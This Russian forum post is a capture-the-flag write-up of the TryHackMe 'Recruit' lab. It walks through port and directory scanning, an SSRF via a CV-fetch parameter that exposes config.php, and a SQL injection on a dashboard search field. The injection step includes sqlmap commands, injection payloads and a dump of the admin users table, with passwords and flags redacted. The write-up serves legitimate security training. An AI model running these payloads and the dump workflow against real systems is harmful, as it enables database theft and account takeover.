ОБСУЖДЕНИЕ Writeup 

Отчет по прохождению комнаты Tryhackme - Recruit

0 ответов 26
Автор темы
Ссылка на аккаунт - https://tryhackme.com/p/Nick2.2
Вводные данные:
  1. Адрес комнаты - https://tryhackme.com/room/recruitwebchallenge
  2. Комната привязана к прохождению тематики курса Junior Penetration tester - темы по SQLi, SSRF, XSS, CSRF, IDOR.
  3. Заявленная сложность - medium.
  4. Данные флагов скрыты в соответствии с Политикой ресурса TRYHACKME.
  5. В тексте отчета приведены различные IP-адреса комнаты, что связано с неоднократным перезапуском лабораторного оборудования.
  6. Задания - 2 флага:
  • Какое значение флага отображается после входа в систему в качестве обычного пользователя?
  • Какое значение флага отображается после входа в систему в качестве администратора?
Процесс исследования:
ЭТАП 1. Разведка и составление карты веб-приложения:


1.1. Первичное сканирование портов посредством nmap(быстрый скан всех открытых портов):
Код:
┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate 5000 --open 10.113.159.57
Starting Nmap 7.98 ( https://nmap.org ) at 2026-10-14 03:36 -0400
Nmap scan report for 10.113.159.57
Host is up (0.049s latency).
Not shown: 52283 filtered tcp ports (no-response), 13249 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 35.09 seconds
1.2. Детальное сканирование обнаруженных открытых портов с определением версий сервисов и служб, использованием дефолтных скриптов:
Код:
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p22,53,80 10.113.159.57         
Starting Nmap 7.98 ( https://nmap.org ) at 2026-10-14 03:39 -0400
Nmap scan report for 10.113.159.57
Host is up (0.047s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 46:3e:8d:39:57:eb:dc:98:dc:8b:10:56:bb:8c:ce:8b (RSA)
|   256 d0:c8:f8:30:2a:c3:57:f0:30:bd:42:56:15:94:8e:d6 (ECDSA)
|_  256 c6:ac:ff:04:ab:0b:a2:2d:85:e3:42:a3:5e:de:c2:a3 (ED25519)
53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.16.1-Ubuntu
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Recruit
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds

Порт 22 - подключение по ssh, в контексте заявленных уязвимостей предположительно не интересует, порт 53 - аналогично. Поэтому уязвимости версий ПО, установленного на данных портах, не рассматриваем в рамках задания. На порту 80 обнаружено веб-приложение. Результат скрипта http-cookies указывает на неустановленный флаг httponly - потенциальная уязвимость к XSS-атаке.

1.3. Ручная проверка наличия robots.txt - не дала результат.
1792003813138.webp

1.4. Ручная проверка наличия sitemap.xml привела к обнаружению карты сайта:
1792003831801.webp

Код:
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<urlset>
<!-- Public Pages -->
<url>
<loc>http://recruit.thm/</loc>
<changefreq>daily</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>http://recruit.thm/index.php</loc>
<changefreq>daily</changefreq>
<priority>1.0</priority>
</url>
<!-- API & Documentation -->
<url>
<loc>http://recruit.thm/api.php</loc>
<changefreq>weekly</changefreq>
<priority>0.8</priority>
</url>
<!-- CV Retrieval Service -->
<url>
<loc>http://recruit.thm/file.php</loc>
<changefreq>weekly</changefreq>
<priority>0.6</priority>
</url>
<!-- Mails -->
<url>
<loc>http://recruit.thm/mail/</loc>
<changefreq>monthly</changefreq>
<priority>0.5</priority>
</url>
<!-- Authenticated Pages -->
<url>
<loc>http://recruit.thm/dashboard.php</loc>
<changefreq>weekly</changefreq>
<priority>0.4</priority>
</url>
<url>
<loc>http://recruit.thm/logout.php</loc>
<changefreq>monthly</changefreq>
<priority>0.2</priority>
</url>
<!-- Static Assets -->
<url>
<loc>http://recruit.thm/assets/</loc>
<changefreq>monthly</changefreq>
<priority>0.1</priority>
</url>
<!--

        Notes:
        - Some directories may contain internal documentation or logs.
        - Certain endpoints are intended for internal HR integrations.
        - Access to sensitive data is role-restricted.
    
-->
</urlset>

1.5. Перебор директорий с помощью gobuster:
Код:
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u "http://10.113.159.57" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -t 50  -x php,html,txt,bak
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.113.159.57
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              php,html,txt,bak
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php            (Status: 200) [Size: 1417] - страница логина
header.php           (Status: 200) [Size: 457] - заголовок сайта
mail                 (Status: 200) [Size: 935] - обнаружено письмо
assets               (Status: 200) [Size: 2657] - обнаружен лист # Index of /assets
footer.php           (Status: 200) [Size: 289] - редирект на api.php
file.php             (Status: 200) [Size: 20] - Missing cv parameter (ссылка на загрузку резюме, опишу далее)

api.php              (Status: 200) [Size: 4151] - опишу далее
javascript           (Status: 403) [Size: 278] - доступ запрещен
logout.php           (Status: 200) [Size: 1417] - редирект на страницу логина
config.php           (Status: 200) [Size: 0] - возвращает пустую страницу
dashboard.php        (Status: 200) [Size: 1417] - редирект на страницу логина
phpmyadmin           (Status: 200) [Size: 14773] - форма авторизации
server-status        (Status: 403) [Size: 278] - доступ запрещен
Progress: 1102790 / 1102790 (100.00%)
===============================================================
Finished
===============================================================

После ручной проверки всех директорий становится понятно, что интерес представляют следующие директории:


  1. index.php - страница Recruit Login с формой авторизации.
  2. mail - обнаружено письмо
  3. assets - обнаружен лист # Index of /assets
  4. api.php - отдельная страница с описанием
  5. phpmyadmin - форма авторизации
Далее отрабатываем интересующие директории на наличие уязвимостей.


ЭТАП 2. Ручной анализ веб-приложения.

2.1. Страница index.php - форма авторизации
1792003929941.webp


Проводим базовые тесты на наличие уязвимости к SQL-инъекции:
' OR 1=1; -- -
admin'-- -
' OR 1=1#
" OR 1=1 -- -

По всем тестам приложение возвращает ответ - Invalid credentials, без каких-либо изменений в поведении приложения.
Проводим тесты формы на наличие уязвимостей к SQL-инъекции с помощью sqlmap:
Код:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://10.113.159.57/' \
  --data='username=admin&password=test123&login=Login' \
  -p username \
  --batch

  [04:48:39] [WARNING] POST parameter 'username' does not seem to be injectable
    
┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://10.113.159.57/' \
  --data='username=admin&password=test123&login=Login' \
  -p password \
  --batch
        ___

[04:49:55] [WARNING] POST parameter 'password' does not seem to be injectable

Пока оставляем и переходим дальше.


2.2. mail - обнаружено письмо
В данной директории обнаруживаем файл mail.log, содержащий письмо, представляющее собой явную подсказку.
1792003989611.webp


Текст письма:

1792004015303.webp


Перевод письма:

May 14 09:32:11 recruit-server postfix/smtpd[2143]: connect from hr-workstation.local[10.10.5.23]
May 14 09:32:12 recruit-server postfix/smtpd[2143]: 4F1A2203F: client=hr-workstation.local[10.10.5.23]
May 14 09:32:13 recruit-server postfix/cleanup[2146]: 4F1A2203F: message-id=<20240514093213.4F1A2203F@recruit.local>
May 14 09:32:13 recruit-server postfix/qmgr[1789]: 4F1A2203F: from=<hr@recruit.thm>, size=1824, nrcpt=1 (queue active)
May 14 09:32:14 recruit-server postfix/local[2151]: 4F1A2203F: to=<it-support@recruit.local>, relay=local, delay=0.34, status=sent
------------------------------------------------------------
От: HR Team <hr@recruit.thm>
Кому: IT Support <it-support@recruit.thm>
Дата: Вт, 14 мая 2024 09:32:10 +0000
Тема: Подтверждение развертывания портала по подбору персонала
Привет, команда!
Хочу сообщить, что новый портал по подбору персонала
был успешно развернут и работает в штатном режиме. Мы завершили базовую проверку:
  • Страница входа доступна
  • Личный кабинет кандидата загружается корректно
  • Страница документации API работает
Как обсуждалось в ходе развертывания:
- Учетные данные для входа HR-специалиста (имя пользователя: hr) в настоящее время
хранятся в файле конфигурации приложения (config.php) для удобства доступа
на этапе первоначального запуска.
- Учетные данные администратора НЕ хранятся в файлах приложения,
а надежно защищены в базе данных бэкенда.
Пожалуйста, сообщите нам, если возникнут какие-либо проблемы или
потребуются дополнительные изменения.
С уважением,
Отдел HR-операций
Команда по подбору персонала
------------------------------------------------------------
14 мая 09:32:14 recruit-server postfix/qmgr[1789]: 4F1A2203F: удалено


Из письма делаем вывод, что данные учетной записи hr могут предположительно содержаться в файле config.php, находящемся в сервере веб-приложения.
Соответственно, первая цель - получение доступа к config.php и данных для авторизации в веб-приложении.

2.3 api.php - отдельная страница с описанием
В этой директории обнаруживаем страницу под названием Recruit API – Frequently Asked Questions, с описанием процесса подачи резюме.
1792004074271.webp


Интерес представляет вкладка - You can fetch a candidate CV using the following endpoint:
/file.php?cv=<URL>
Данная вкладка дает прямой путь к подаче резюме через ссылку URL. Указывает на возможное наличие уязвимости к SSRF-атаке.
Переходим к указанной форме, и при отсутствии вставленной URL получаем вывод об ошибке - Only local files are allowed

1792004164590.webp

Далее пробуем различные способы реализации SSRF-атаки (неудачные попытки не привожу, чтобы не засорять отчет) находим подходящий:
При реализации данного способа SSRF-атаки мы получаем доступ к файлу config.php, содержащему учетные данные для входа в систему:
USER - hr
PASSWORD - {REDACTED}

1792004306215.webp


Осуществляем вход в веб-приложение через основную страницу с указанными данными.
1792004327898.webp


1792004345575.webp


Таким образом получен первый флаг - THM {REDACTED}.
Получен доступ к dashboard.php. Данная страница содержит форму поиска http://10.112.141.169/dashboard.php?search=, которая предположительно уязвима.
Пробуем базовый тест на уязвимость к SQL-инъекции в виде одинарной кавычки ' :
1792004378679.webp


Получаем ошибку синтаксиса SQL - предположительно есть уязвимость.
Через curl авторизуемся повторно и получаем сессионный файл cookie, после чего с использованием данного файла запускаем sqlmap (неудачные попытки не привожу, дабы не засорять отчет):

Код:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.112.141.169/dashboard.php?search=test" \
  --cookie="PHPSESSID=mq4rkdiv3042l85rjd06js1mej" \
  --drop-set-cookie \
  --batch --dbs

Parameter: search (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: search=test' AND 5233=(SELECT (CASE WHEN (5233=5233) THEN 5233 ELSE (SELECT 7858 UNION SELECT 1663) END))-- -

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: search=test' AND EXTRACTVALUE(5570,CONCAT(0x5c,0x716a626271,(SELECT (ELT(5570=5570,1))),0x716a627a71))-- jfYr

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=test' AND (SELECT 6290 FROM (SELECT(SLEEP(5)))Twid)-- Ximr

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: search=test' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a626271,0x76687547786a43424d71597556726a4d4d484575554577726a426e55437a416d4e7a6e6e55637667,0x716a627a71)-- -

available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] recruit_db
[*] sys

Далее получаем таблицы базы recruit_db:
Код:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.112.141.169/dashboard.php?search=test" \
  --cookie="PHPSESSID=mq4rkdiv3042l85rjd06js1mej" \
  --drop-set-cookie \
  --batch -D recruit_db --tables
 
  Database: recruit_db
[2 tables]
+------------+
| candidates |
| users      |
+------------+

Далее, поскольку таблица кандидатов итак доступна в веб-приложении, а мы ищем учетные данные админа, получаем таблицу users:

Код:
 ┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.112.141.169/dashboard.php?search=test" \
  --cookie="PHPSESSID=mq4rkdiv3042l85rjd06js1mej" \
  --drop-set-cookie \
  --batch -D recruit_db -T users --dump

Database: recruit_db
Table: users
[1 entry]
+----+----------------+----------+
| id | password       | username |
+----+----------------+----------+
| 1  | {REDACTED}     | admin    |
+----+----------------+----------+


Пробуем авторизоваться в системе с полученными учетными данными:

1792004707534.webp



Получен доступ к учетной записи администратора и флаг № 2:

1792004732964.webp




Таким образом, получены все необходимые флаги и лаборатория решена.

Обнаружены и эксплуатированы уязвимости - SSRF-атака и SQL-инъекция.
 
  • Огонь
Реакции: Сергей Попов